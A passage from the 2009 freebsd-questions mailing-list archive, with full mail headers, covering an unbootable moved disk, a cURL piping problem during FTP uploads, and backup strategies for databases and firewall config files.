discussion, sorry I can't give positive > advice, but: > > I can explicity UNADVISE the eeee(ee?)pc 1005ha > > Networking (atheros 9285, iirc) might work under > ndis, wired (I forget which chipset) doesn't work. > > I put ubuntu on it, and even _that_ took some hacks. > > -- > -- Jeff Hamann, PhD PO Box 1421 Corvallis, Oregon 97339-1421 541-754-2457 jeff.hamann[at]forestinformatics[dot]com http://www.forestinformatics.com From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 13:14:37 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5E1FB106568E for ; Mon, 24 Aug 2009 13:14:37 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id 397FB8FC22 for ; Mon, 24 Aug 2009 13:14:37 +0000 (UTC) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=UTF-8 Received: from [192.168.0.51] ([96.21.103.185]) by VL-MO-MR003.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KOV00H1KU4CJT80@VL-MO-MR003.ip.videotron.ca> for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 09:14:36 -0400 (EDT) Message-id: <4A929241.5060406@videotron.ca> Date: Mon, 24 Aug 2009 09:14:41 -0400 From: PJ User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) To: freebsd-questions@freebsd.org Subject: moving a disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 13:14:37 -0000 I am trying to move a 7.2 installation to another computer where it is to be the only OS acting as a server for the lan. On bootup I get the message: Using drive 0, partition 3. And there it hangs. I have tried to rewrite the mbr but that did absolutely nothing. fik ad0 returns: partitions 1,2,3 are Parrtition 4 give the cylinder, heads, sectors, blocks stuff The disk did boot up on another box... What should I do? And what information do I need to supply or look for to solve this. I'd rathernot go through another installation even if this is farly elementary. Oh, yes... all my former problems were definitely software related as I have checked and double, triple checked my HDDs and cannot find any problems therewith. TIA From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 13:26:18 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 26C08106564A for ; Mon, 24 Aug 2009 13:26:18 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from lo.gmane.org (lo.gmane.org [80.91.229.12]) by mx1.freebsd.org (Postfix) with ESMTP id DA0798FC08 for ; Mon, 24 Aug 2009 13:26:17 +0000 (UTC) Received: from list by lo.gmane.org with local (Exim 4.50) id 1MfZYu-0004DQ-Aj for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 15:26:16 +0200 Received: from 217.31.70.82 ([217.31.70.82]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 24 Aug 2009 15:26:16 +0200 Received: from chris by 217.31.70.82 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 24 Aug 2009 15:26:16 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: chris@chrullrich.net Date: Mon, 24 Aug 2009 15:25:52 +0200 Lines: 33 Message-ID: <5cws4t9wdb.fsf@chrullrich.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: 217.31.70.82 User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1 (windows-nt) Cancel-Lock: sha1:hr3jAQp+JdxtOvBCqjxbhNWbeVw= Sender: news Subject: Problem with cURL and pipes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 13:26:18 -0000 Hello all, there seems to be something wrong with sending data through pipes. I'm trying to upload files to an FTP server by piping them to cURL: These work: - curl < file-to-send ... - cat file-to-send | curl ... These don't: - gzip < file-to-send | curl ... - bzip2 < file-to-send | curl ... - cat file-to-send | rev | curl ... The compressed input in this case is about 7 MB, but it only sends up to 2 MB of that. Sometimes nothing, more often something in between. This is on 7-STABLE from this morning, but the same problem existed on 7-STABLE from ten months ago (I upgraded to see if that would fix it). This has worked flawlessly for several months, then started failing last week. Any ideas what might be the reason? Thanks for your help, -- Christian Ullrich From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 14:57:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CC2F5106568F for ; Mon, 24 Aug 2009 14:57:20 +0000 (UTC) (envelope-from jalmberg@identry.com) Received: from smtp-gw29.mailanyone.net (smtp-gw29.mailanyone.net [208.70.128.55]) by mx1.freebsd.org (Postfix) with ESMTP id A7E1E8FC08 for ; Mon, 24 Aug 2009 14:57:20 +0000 (UTC) Received: from mailanyone.net by smtp-gw29.mailanyone.net with esmtpa (MailAnyone extSMTP jalmberg@identry.com) id 1Mfaz1-0007am-M5 for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 09:57:19 -0500 Mime-Version: 1.0 (Apple Message framework v753.1) In-Reply-To: <4A8FF981.7020707@locolomo.org> References: <9F9B85A9-CC10-4793-B38D-4F1E1929BAF6@identry.com> <5A8F63C4-7244-410A-B115-9681709855B5@goldmark.org> <4A8FF981.7020707@locolomo.org> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <559375B5-3DCB-42E0-B233-B0916C6FBD9C@identry.com> Content-Transfer-Encoding: 7bit From: John Almberg Date: Mon, 24 Aug 2009 10:57:18 -0400 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.753.1) Subject: Re: What should be backed up? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 14:57:20 -0000 > If you have any databases or ldap service, then you want to add > those as well, but it is recommended to dump these rather than > backup the files themselves. I'm learning a lot from this thread. Thanks for all the suggestions. The paragraph above raises one more question... how to use the backup_script feature of rsnapshot. There is a mysql database on the server I want to backup. At the moment, I have a cron script on the web server that periodically dumps the database into one of the directories that gets backed up. This works fine, but I am about to experiment with the backup_script feature of rsnapshot. I'll be darned if I can find an example in the HowTo or on the web for using backup_script remotely, but I'm hoping it's possible... I'd like to have the backup script on the backup server, rather than the remote server. The difference is small for one server, but if you are backing up several servers, or several hundred servers, it would be much nicer for all the backup configuration and scripts to be on the backup server, rather than scattered around on the net. So, I'm going to take the trial and error approach to getting this to work today, unless someone has actually done this and can provide any information (for example "that's impossible... the backup script needs to be on the remote server" would save me a lot of work!) Thanks: John From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 15:41:33 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0F107106564A for ; Mon, 24 Aug 2009 15:41:33 +0000 (UTC) (envelope-from norgaard@locolomo.org) Received: from mail.locolomo.org (97.pool85-48-194.static.orange.es [85.48.194.97]) by mx1.freebsd.org (Postfix) with ESMTP id B52FE8FC14 for ; Mon, 24 Aug 2009 15:41:32 +0000 (UTC) Received: from beta.1-16-172-dyn.locolomo.org (beta.1-16-172-dyn.locolomo.org [172.16.1.127]) by mail.locolomo.org (Postfix) with ESMTPSA id 0D7931C1A67; Mon, 24 Aug 2009 17:41:31 +0200 (CEST) Message-ID: <4A92B4AA.3070605@locolomo.org> Date: Mon, 24 Aug 2009 17:41:30 +0200 From: Erik Norgaard User-Agent: Thunderbird 2.0.0.23 (Macintosh/20090812) MIME-Version: 1.0 To: John Almberg References: <9F9B85A9-CC10-4793-B38D-4F1E1929BAF6@identry.com> <5A8F63C4-7244-410A-B115-9681709855B5@goldmark.org> <4A8FF981.7020707@locolomo.org> <559375B5-3DCB-42E0-B233-B0916C6FBD9C@identry.com> In-Reply-To: <559375B5-3DCB-42E0-B233-B0916C6FBD9C@identry.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Cc: freebsd-questions@freebsd.org Subject: Re: What should be backed up? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 15:41:33 -0000 John Almberg wrote: >> If you have any databases or ldap service, then you want to add >> those as well, but it is recommended to dump these rather than >> backup the files themselves. > > I'm learning a lot from this thread. Thanks for all the suggestions. > > The paragraph above raises one more question... how to use the > backup_script feature of rsnapshot. I don't know your backup_script, but you can just add to it. It is usually possible to give read only remote access, with or without password, from the server where you store your backups. Then all you need is to add a few lines to your script. For ldap, you'll want to create an ldif format dump. For sql, check out the various dump formats. The more sql standard the more secure you are, but it comes at the price of time when recovering data. For sql, you may also consider whether to include statements for dropping existing tables and databases as well as include create statements. It really depends on which disaster you're preparing for. It may be possible to create one dump with drop/create statements to recover database structure, and another dump with data. The reason you'll want to dump ldap/sql data is that you ensure data integrity if your backup coincide with some update of the database. Also, you can use the backup when upgrading or even if you change database say from mysql to postgresql - for this you need as strict sql backup as possible, both allow some shortcuts that are faster for recovery but may be incompatible with other databases. Make the backup verbose, ensure that things like default character set is included in the dump, make sure that binary blobs are dumped in base64 etc... You _can_ do file backup of your databases, it is certainly faster to recover from a file backup, but you run the risk of inconsistencies. The same problem of data inconsistencies can happen with any other file backup: you may wish to temporarily stop local maildelivery while you backup user's mail boxes. Mail will remain in the queue till backup terminates and local mail delivery is reenabled. you may consider not to backup log files, or only files after they have been rotated so they are no longer written to. you may consider locking down user access while home directories are backed up, etc. It all depends on the time required to complete the backup and the normal activity on the systems while you backup. And - don't forget - now that you have everything nicely backed up, you need a data destruction policy to ensure that you don't accidentally keep personal data from old users. BR, Erik -- Erik Nørgaard Ph: +34.666334818/+34.915211157 http://www.locolomo.org From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 15:50:24 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 74719106568B for ; Mon, 24 Aug 2009 15:50:24 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id 4E1EF8FC19 for ; Mon, 24 Aug 2009 15:50:24 +0000 (UTC) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=UTF-8 Received: from [192.168.0.51] ([96.21.103.185]) by VL-MH-MR001.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KOW00IHV1BZY0M0@VL-MH-MR001.ip.videotron.ca> for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 11:50:23 -0400 (EDT) Message-id: <4A92B6C4.8070309@videotron.ca> Date: Mon, 24 Aug 2009 11:50:28 -0400 From: PJ User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) To: freebsd-questions@freebsd.org References: <4A929241.5060406@videotron.ca> In-reply-to: <4A929241.5060406@videotron.ca> Subject: Re: moving a disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 15:50:24 -0000 PJ wrote: > I am trying to move a 7.2 installation to another computer where it is > to be the only OS acting as a server for the lan. > On bootup I get the message: > Using drive 0, partition 3. > And there it hangs. > I have tried to rewrite the mbr but that did absolutely nothing. > fik ad0 returns: > partitions 1,2,3 are > Parrtition 4 give the cylinder, heads, sectors, blocks stuff > > The disk did boot up on another box... > > What should I do? And what information do I need to supply or look for > to solve this. > I'd rathernot go through another installation even if this is farly > elementary. > Oh, yes... all my former problems were definitely software related as I > have checked and double, triple checked my HDDs and cannot find any > problems therewith. here is what I have found in looking at the disk when it's mounted on another FBSD system through an USB interface: it is mounted on /dev/ad0 fdisk ad0 ---> returns partitions 1,2,3 as ; partition 4 is marked for sysid 166 OpenBSD (this seems to be left over from an installation that was never completed) fdisk ad0s4 ---> returns same, except partition 4 is: sysid 165 (FreeBSD,NetBSD/386BSD) I also note that the other functioning FBSD 7.2 has partitions 2-4 as and partition 1 has the cylinder parameters. I get the impression that I should use the disklabel editor to change all that but am not familiar with it and am not sure how to use it. Here is what bsdlabel shows: # /dev/ad0s4: #this is the one that does not boot 8 partitions: # size offset fstype [fsize bsize bps/cpg] a: 2097152 63 4.2BSD 2048 16384 28552 b: 2097152 2097215 swap c: 12594897 63 unused 0 0 # "raw" part, don't edit d: 2097152 4194367 4.2BSD 2048 16384 28552 e: 2097152 6291519 4.2BSD 2048 16384 28552 f: 4204544 8388671 4.2BSD 2048 16384 28552 partition c: partition extens past end of unit disklabel: partition c doesn't start at 0! disklabel An incorrect partition c may cause problems for standard system utilities # /dev/ad4s1: #this one boots 8 partitions: # size offset fstype [fsize bsize bps/cpg] a: 4194304 0 4.2BSD 2048 16384 28552 b: 6291456 4194304 swap c: 156301425 0 unused 0 0 # "raw" part, don't edit d: 6291456 10485760 4.2BSD 2048 16384 28552 e: 4194304 16777216 4.2BSD 2048 16384 28552 f: 69206016 20971520 4.2BSD 2048 16384 28552 g: 66123889 90177536 4.2BSD 2048 16384 28552 Is there a way to fix this thingy? From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 15:57:46 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2E3AA106568F for ; Mon, 24 Aug 2009 15:57:46 +0000 (UTC) (envelope-from mkhitrov@gmail.com) Received: from mail-gx0-f227.google.com (mail-gx0-f227.google.com [209.85.217.227]) by mx1.freebsd.org (Postfix) with ESMTP id DFF078FC12 for ; Mon, 24 Aug 2009 15:57:45 +0000 (UTC) Received: by gxk27 with SMTP id 27so2849724gxk.12 for ; Mon, 24 Aug 2009 08:57:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:from:date:message-id :subject:to:content-type:content-transfer-encoding; bh=j5+2JC7G/7o7Jl2q20SgbdkwKd4nsZcB+7Oe+Rcj3u4=; b=Kh/TNkjf3cb7I9EOMTjUhYItMkQzv57r7OT2nCAwCOaJwpUlqfd+oB3jLAgN/BWOOD LaReP6AwSDXIvRdafV6sBpgzipXRgZog1562iVrx6acq3qwbbvds3lnwVVKyVjvbXfOD ML12CxZctjEhCIuJVEWbpDozb1F7SbjUKbfGA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:from:date:message-id:subject:to:content-type :content-transfer-encoding; b=nmrntX4frT5N0wCrHg4ky+hIs7TUROJY0wI3jGH8RzwRIpE3gKv0Kr0/I1MPRUZtfd dvxbrjWRHYWteX4K7OYXC8XqM3xBl02cm+RCRAhUl879GjvkG1kky6crUmZM7Ya0v0fb T7pvXqfLkcnVdqJjocg6Pytc/HoGPAi8TdOl8= MIME-Version: 1.0 Received: by 10.91.38.17 with SMTP id q17mr4151672agj.10.1251129465218; Mon, 24 Aug 2009 08:57:45 -0700 (PDT) From: Maxim Khitrov Date: Mon, 24 Aug 2009 11:57:25 -0400 Message-ID: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> To: Free BSD Questions list Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Subject: Continuous backup of critical system files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 15:57:46 -0000 Hello all, I'm setting up a firewall using FreeBSD 7.2 and thought that it may not be a bad idea to have a continuous backup for important files like pf and dnsmasq configurations. By continuous I mean some script that would be triggered every few minutes from cron to automatically create a backup of any monitored file if it was modified. I also have a full system backup in place that is executed daily (dump/restore to a compact flash card), so the continuous backup would really be for times when someone makes a mistake editing one of the config files and needs to revert it to a previous state. My initial thought was to create a mercurial repository at the file system root and exclude everything except for explicitly added files. I'd then run something like "hg commit -m `date`" from cron every 10 minutes to record the changes automatically. Can anyone think of a better way to do this (existing port specifically for this purpose)? Obviously, I need a way to track the history of a file and revert to a previous state quickly. The storage of changes should be as size-efficient as possible. - Max From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 16:23:40 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A19AC106564A for ; Mon, 24 Aug 2009 16:23:40 +0000 (UTC) (envelope-from guru@unixarea.de) Received: from dd12710.kasserver.com (dd12710.kasserver.com [85.13.134.233]) by mx1.freebsd.org (Postfix) with ESMTP id 32A6B8FC12 for ; Mon, 24 Aug 2009 16:23:39 +0000 (UTC) Received: from current.Sisis.de (ppp-93-104-108-2.dynamic.mnet-online.de [93.104.108.2]) by dd12710.kasserver.com (Postfix) with ESMTP id 8D3B818027D9E; Mon, 24 Aug 2009 18:23:41 +0200 (CEST) Received: (from guru@localhost) by current.Sisis.de (8.14.3/8.14.3/Submit) id n7OGNb9d001998; Mon, 24 Aug 2009 18:23:37 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: current.Sisis.de: guru set sender to guru@unixarea.de using -f Date: Mon, 24 Aug 2009 18:23:37 +0200 From: Matthias Apitz To: Maxim Khitrov Message-ID: <20090824162337.GA1899@current.Sisis.de> References: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 8.0-CURRENT (i386) Cc: Free BSD Questions list Subject: Re: Continuous backup of critical system files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Matthias Apitz List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 16:23:40 -0000 El día Monday, August 24, 2009 a las 11:57:25AM -0400, Maxim Khitrov escribió: > Hello all, > > I'm setting up a firewall using FreeBSD 7.2 and thought that it may > not be a bad idea to have a continuous backup for important files like > pf and dnsmasq configurations. By continuous I mean some script that > would be triggered every few minutes from cron to automatically create > a backup of any monitored file if it was modified. I also have a full > system backup in place that is executed daily (dump/restore to a > compact flash card), so the continuous backup would really be for > times when someone makes a mistake editing one of the config files and > needs to revert it to a previous state. > > My initial thought was to create a mercurial repository at the file > system root and exclude everything except for explicitly added files. > I'd then run something like "hg commit -m `date`" from cron every 10 > minutes to record the changes automatically. Can anyone think of a > better way to do this (existing port specifically for this purpose)? > Obviously, I need a way to track the history of a file and revert to a > previous state quickly. The storage of changes should be as > size-efficient as possible. Hello, We run in my company since many years a FreeBSD based firwall. All modified config files like, rc.conf, ipf.rules, ... have always been on some internal host in CVS, only modified there and SCP'ed to the firewall to make the change there active. After some hardware fault I was once able to do a bare metal restore of the firewall within an hour, just installed the base system and copied over the config from CVS. matthias -- Matthias Apitz t +49-89-61308 351 - f +49-89-61308 399 - m +49-170-4527211 e - w http://www.unixarea.de/ People who hate Microsoft Windows use Linux but people who love UNIX use FreeBSD. From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 16:24:53 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5EEB61065694 for ; Mon, 24 Aug 2009 16:24:53 +0000 (UTC) (envelope-from kraduk@googlemail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id D4B0E8FC13 for ; Mon, 24 Aug 2009 16:24:52 +0000 (UTC) Received: by fxm6 with SMTP id 6so1451850fxm.43 for ; Mon, 24 Aug 2009 09:24:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=73aUDXkwoD9xMUMuYk/LHkZaRNyl5khf95yTj0PROBs=; b=oBme5v2ehWTRxk9Ovocp1+WuMdGZZ61Y4d7JvvW0+RpxakWCOlLg2gdA56UwM/E3NJ pf95rQxPkUX4m9KIHbmsvpzE0zh7AivBzJxkCV31JSFGRl0/HM8BMDO1btJVVYQYDM0p eYRwqqYgDzgLI79DQiI5Z+AiaevJrvpUr0QOQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=kWzr6p1pxdpNsPXk+winOqkC3GmVIAc3PaCVAMyn31bosPd3YsBaDrDnSt6QjbBXeJ qiUvB3y8xNqBewaYZJk0KuIQHA5NZOr26SSh2N5qutCGP3FsJ5HMBlrsxmLHD19rlR3A Se3CyeS11sDi7CQoArbmRTL4atQQQrLcKKRXw= MIME-Version: 1.0 Received: by 10.103.67.31 with SMTP id u31mr1423379muk.93.1251131091644; Mon, 24 Aug 2009 09:24:51 -0700 (PDT) In-Reply-To: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> References: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> Date: Mon, 24 Aug 2009 17:24:51 +0100 Message-ID: From: chris scott To: Maxim Khitrov Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Free BSD Questions list Subject: Re: Continuous backup of critical system files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 16:24:53 -0000 2009/8/24 Maxim Khitrov > Hello all, > > I'm setting up a firewall using FreeBSD 7.2 and thought that it may > not be a bad idea to have a continuous backup for important files like > pf and dnsmasq configurations. By continuous I mean some script that > would be triggered every few minutes from cron to automatically create > a backup of any monitored file if it was modified. I also have a full > system backup in place that is executed daily (dump/restore to a > compact flash card), so the continuous backup would really be for > times when someone makes a mistake editing one of the config files and > needs to revert it to a previous state. > > My initial thought was to create a mercurial repository at the file > system root and exclude everything except for explicitly added files. > I'd then run something like "hg commit -m `date`" from cron every 10 > minutes to record the changes automatically. Can anyone think of a > better way to do this (existing port specifically for this purpose)? > Obviously, I need a way to track the history of a file and revert to a > previous state quickly. The storage of changes should be as > size-efficient as possible. > > - Max > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > I rsync all my system files to a filer running zfs. I have a separate zfs fs for every host and then I snapshot the fs after the rsync. We then keep 35 snapshots for retention as we do daily rsyncs. You might want more of a rolling snapshot policy. Keep on for every 10 mins of the last hour, then drop it to hourly for the next 6 hours, then daily, then weekly etc Works quite well. We have also found it handy for forensics as well, when we have had a fault From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 16:25:36 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5E96F1065691 for ; Mon, 24 Aug 2009 16:25:36 +0000 (UTC) (envelope-from kraduk@googlemail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id D39AB8FC24 for ; Mon, 24 Aug 2009 16:25:35 +0000 (UTC) Received: by fxm6 with SMTP id 6so1452233fxm.43 for ; Mon, 24 Aug 2009 09:25:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=S6Ej5D7EbPKSw+igqgckWZo3AyW2Lp2XP8UXKrhLDaM=; b=OZrqyWS+PGH+rLKscfYQNjEkU7wnA9JEFz8WRu0flE1JdsupJghXV216ILfNThrkXa OmqaBcmXJk23JrSwwn0eEsVnQ31corZ6fEJayCudu3yj6yUOWSe//g+d0h5G4Vg8eV2g nM3lsvI13l94IT5/qJc2OXVyzIjgJrM3eQZYI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=HuNPzKwpZXS5zLJzAgHnOY7aPfCLUWOH6mygHBOkSLP0Kw3unZKCDhECelyMANOy7n 34nuxD2uKY3fyI7JwgYXo7waRESOOkgqvkaNpKFDV6dSdMIkiW5imRm+T3T1WoP5vWVJ +/RslsZm+dMkNDhE8dSNO3SUDrCHeZ9I/BBZk= MIME-Version: 1.0 Received: by 10.103.126.7 with SMTP id d7mr1437232mun.115.1251131134908; Mon, 24 Aug 2009 09:25:34 -0700 (PDT) In-Reply-To: References: <26ddd1750908240857gb2973b8h7bc06e0a92b82859@mail.gmail.com> Date: Mon, 24 Aug 2009 17:25:34 +0100 Message-ID: From: chris scott To: Maxim Khitrov Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Free BSD Questions list Subject: Re: Continuous backup of critical system files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 16:25:36 -0000 2009/8/24 chris scott > > > 2009/8/24 Maxim Khitrov > > Hello all, >> >> I'm setting up a firewall using FreeBSD 7.2 and thought that it may >> not be a bad idea to have a continuous backup for important files like >> pf and dnsmasq configurations. By continuous I mean some script that >> would be triggered every few minutes from cron to automatically create >> a backup of any monitored file if it was modified. I also have a full >> system backup in place that is executed daily (dump/restore to a >> compact flash card), so the continuous backup would really be for >> times when someone makes a mistake editing one of the config files and >> needs to revert it to a previous state. >> >> My initial thought was to create a mercurial repository at the file >> system root and exclude everything except for explicitly added files. >> I'd then run something like "hg commit -m `date`" from cron every 10 >> minutes to record the changes automatically. Can anyone think of a >> better way to do this (existing port specifically for this purpose)? >> Obviously, I need a way to track the history of a file and revert to a >> previous state quickly. The storage of changes should be as >> size-efficient as possible. >> >> - Max >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to " >> freebsd-questions-unsubscribe@freebsd.org" >> > > I rsync all my system files to a filer running zfs. I have a separate zfs > fs for every host and then I snapshot the fs after the rsync. We then keep > 35 snapshots for retention as we do daily rsyncs. > > > You might want more of a rolling snapshot policy. Keep on for every 10 mins > of the last hour, then drop it to hourly for the next 6 hours, then daily, > then weekly etc > > Works quite well. We have also found it handy for forensics as well, when > we have had a fault > i forgot to say it need not be a zfs backend just a fs that you can reliably do snapshots From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 17:23:30 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9AE0F1065690 for ; Mon, 24 Aug 2009 17:23:30 +0000 (UTC) (envelope-from ricardo.meb.jesus@gmail.com) Received: from gate.criticalsoftware.com (gate.criticalsoftware.com [62.28.132.186]) by mx1.freebsd.org (Postfix) with ESMTP id 57C3E8FC13 for ; Mon, 24 Aug 2009 17:23:30 +0000 (UTC) Received: from [192.168.1.94] (unknown [192.168.1.94]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by gate.criticalsoftware.com (Postfix) with ESMTP id 34C5322809E; Mon, 24 Aug 2009 17:53:44 +0100 (WEST) Message-ID: <4A92C59B.3000705@gmail.com> Date: Mon, 24 Aug 2009 17:53:47 +0100 From: Ricardo Jesus User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: Jeff Molofee References: <20090823120021.7A6B910656AD@hub.freebsd.org> <4A91A354.5030601@telus.net> In-Reply-To: <4A91A354.5030601@telus.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Punkbuster X-BeenThere: 